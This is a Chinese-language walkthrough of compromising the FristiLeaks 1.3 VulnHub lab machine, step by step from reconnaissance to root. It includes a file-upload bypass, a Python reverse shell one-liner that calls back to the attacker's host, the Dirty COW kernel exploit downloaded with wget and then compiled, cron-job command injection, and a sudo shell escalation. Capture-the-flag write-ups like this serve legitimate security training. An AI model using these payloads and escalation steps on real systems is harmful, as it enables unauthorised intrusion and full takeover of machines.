一、靶机下载地址
https://www.vulnhub.com/entry/fristileaks-13,133/
二、信息收集
1、根据官网提示,将FristiLeaks_1.3靶机的IP地址改为08:00:27:A5:A6:76
2、IP地址会在给出后启动
3、端口扫描
发现只开启了80端口
# 使用命令
# nmap 192.168.145.182 -p- -sV
4、指纹识别
# 使用命令
whatweb http://192.168.145.182
5、目录扫描
# 使用命令
# dirsearch -u "http://192.168.145.182"
三、获取shell
1、访问靶机IP地址
2、访问目录扫描出来的robots.txt文件,发现三个路径
3、访问发现的路径,返回的都是同一张图片,上面写着这不是url,可能需要找到一个url或路径
4、讲过测试,拼接网站首页给出的fristi字样,发现新的页面
5、右击查看页面源代码,发现提示说对图片进行了base64编码和一个类似于用户名的eezeepz
字样,还发现一串将过base64加密过后的字符
6、将加密字符复制下来,进行解密
# 使用命令
base64 -d 1.txt
7、将解密出来的内容输入到1.png文件中进行查看,发现好像是密码
# 使用命令
base64 -d 1.txt > 1.png
8、尝试使用得到的账号和密码进行登录,发现登录成功
9、点击页面上的upload file,发现是上传文件的功能
10、将过多次尝试,绕过失败,想到之前指纹识别的时候,识别到了apache的版本为2.2.15,故可能存在文件解析漏洞,故将上传的文件多加几个后缀名,进行上传发现上传成功
11、访问上传的文件,成功解析
12、使用蚁剑进行连接,成功获取到shell
13、上传一个可以执行系统命令的文件
14、使用hackbar插件,提交post数据,成功反弹到shell
# post数据
cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.145.146",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'
四、提权
1、脏牛提权
(1)、查看内核版本,尝试脏牛提权
# 使用命令
uname -r
(2)、查找脏牛脚本
# 使用命令
searchsploit 'Dirty COW'
(3)、用一个符合版本的脚本,将其导入到当前路径
# 使用命令
searchsploit -m 40839.c .
(4)、开启一个临时服务
# 使用命令
python3 -m http.server
(5)、使用远程下载命令,将脚本下载下来,并赋予执行权限
# 使用命令
wget http://192.168.145.146:8000/40839.c
chmod +x 40839.c
(6)、编译并运行,将密码设置为123456
# 使用命令
gcc -pthread 40839.c -o 40839 -lcrypt
./40839
(7)、切换到firefart用户,提权成功
# 使用命令
su firefart
whoami
id
2、SUDO提权
(1)、切换到home目录,发现三个用户
# 使用命令
cd /home
(2)、进入eezeepz
用户,查看notes.txt文件
# 使用命令
cd /eezeepz
cat notes.txt
notes.txt文件解释:
我让你可以做一些自动检查,但我只允许您访问/usr/bin/*系统二进制文件
然而,我确实复制了一些额外的经常需要的命令到我的homedir:chmod、df、cat、echo、ps、grep、egrep,这样您就可以使用它们了
来自/home/admin/
不要忘记为每个二进制文件指定完整路径!
只需在/tmp/中放入一个名为“runthis”的文件,每行一个命令。这个输出转到/tmp/中的文件“cronresult”。它应该以我的帐户权限每分钟运行一次
(3)、执行如下命令
# 使用命令
echo '/usr/bin/../../bin/chmod -R 777 /home/admin' > /tmp/runthis
(4)、查看/tmp/cronresult
# 使用命令
cat /tmp/cronresult
(5)、成功进入到admin用户
# 使用命令
cd /home/admin
(6)、查看whoisyourgodnow.txt和cryptedpass.txt文件发现两串将过加密的值
# 使用命令
cat whoisyourgodnow.txt
cat cryptedpass.txt
(7)、查看cryptpass.py文件,发现一个加密脚本
# 使用命令
cat cryptpass.py
(8)、尝试逆转机密机制,将脚本保存到桌面下1.py文件中,并对1.py文件进行解密
# 使用命令
python 1.py =RFn0AKnlMHMPIzpyuTI0ITG
python 1.py mVGZ3O3omkJLmy2pcuTq
(9)、登录fristigod,发现并不是root权限
# 使用命令
su fristigod
密码:LetThereBeFristi!
(10)、history查看历史命令,发现执行命令时会使用sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
(11)、在命令后加/bin/bash提权成功
# 使用命令
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash